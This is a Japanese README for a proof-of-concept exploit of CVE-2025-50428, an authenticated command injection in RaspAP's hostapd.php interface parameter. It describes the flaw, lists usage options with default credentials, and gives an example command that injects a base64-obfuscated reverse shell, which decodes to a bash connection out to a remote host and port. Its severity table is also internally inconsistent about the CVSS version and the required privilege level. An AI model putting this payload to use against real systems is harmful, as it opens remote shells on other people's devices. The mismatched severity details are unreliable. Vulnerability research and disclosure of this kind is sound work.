
CVE-2025-50428 の脆弱性の概念実証: RaspAP における認証済み OS コマンドインジェクション
CVE-2025-50428 の概念実証エクスプロイトです。RaspAP の raspap-webgui 3.2.9 以前に存在するコマンドインジェクションの脆弱性を悪用します。
| 脆弱性 ID | CVE-2025-50428 |
|---|---|
| 深刻度 | 高 (CVSS 3.1: 8.6) |
| CVSS ベクター | CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| 脆弱性タイプ | コードインジェクション |
| 攻撃経路 | リモート(認証済み) |
| 必要な権限 | 低 |
| 影響 | コード実行、権限昇格 |
| 影響を受ける製品 | raspap-webgui ≤ 3.2.9 |
| 発見者 | SmartTECS Cyber Security GmbH |
このエクスプロイトは、RaspAP の hostapd.php スクリプトにおけるコマンドインジェクションの脆弱性を標的としています。この脆弱性は、interface パラメータを介して渡されるユーザー入力のサニタイズが不適切であるために発生します。認証済みの攻撃者は任意の OS コマンドを注入でき、その結果、www-data ユーザーの権限でコードが実行される可能性があります。
requests ライブラリがインストールされていることpython3 poc.py --base-url <url> --interface <payload> [--username <username>] [--password <password>]
--base-url: RaspAP インストールのベース URL(例: http://192.168.122.22)--interface: interface パラメータに指定する値。インジェクションペイロードを指定可能--username: RaspAP ユーザー名(デフォルト: admin)--password: RaspAP パスワード(デフォルト: secret)python3 poc.py --base-url http://192.168.122.22 --interface "';echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyMi4xLzEzMzcgMD4mMTs= | base64 -d | bash"
SmartTECS Cyber Security GmbH は、ペネトレーションテスト、セキュアなソフトウェア開発、脆弱性調査を専門とするサイバーセキュリティ企業です。同社は、組織が重要システムを進化するサイバー脅威から保護できるよう、カスタマイズされたセキュリティ評価、インシデントレスポンス、戦略的アドバイザリーサービスを提供しています。
このツールは教育および研究目的のみで提供されています。明示的な許可を得て所有または管理されているシステムでのみ使用してください。作者および SmartTECS Cyber Security GmbH は、誤用または損害について一切の責任を負いません。